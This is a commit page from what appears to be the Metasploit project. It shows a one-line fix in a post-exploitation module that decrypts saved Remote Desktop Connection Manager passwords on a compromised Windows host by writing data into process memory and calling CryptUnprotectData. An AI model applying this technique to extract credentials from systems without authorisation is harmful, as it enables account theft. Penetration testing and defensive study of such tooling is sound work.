Skip to content

Commit 5da6a45

Browse files
committed
fix find condition
1 parent 1749fc7 commit 5da6a45

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/post/windows/gather/credentials/rdc_manager_creds.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ def decrypt_password(data)
8181
mem = process.memory.allocate(128)
8282
process.memory.write(mem, data)
8383

84-
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
84+
if session.sys.process.each_process.find { |i| i["pid"] == pid && i["arch"] == "x86"}
8585
addr = [mem].pack("V")
8686
len = [data.length].pack("V")
8787
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)

0 commit comments

Comments
 (0)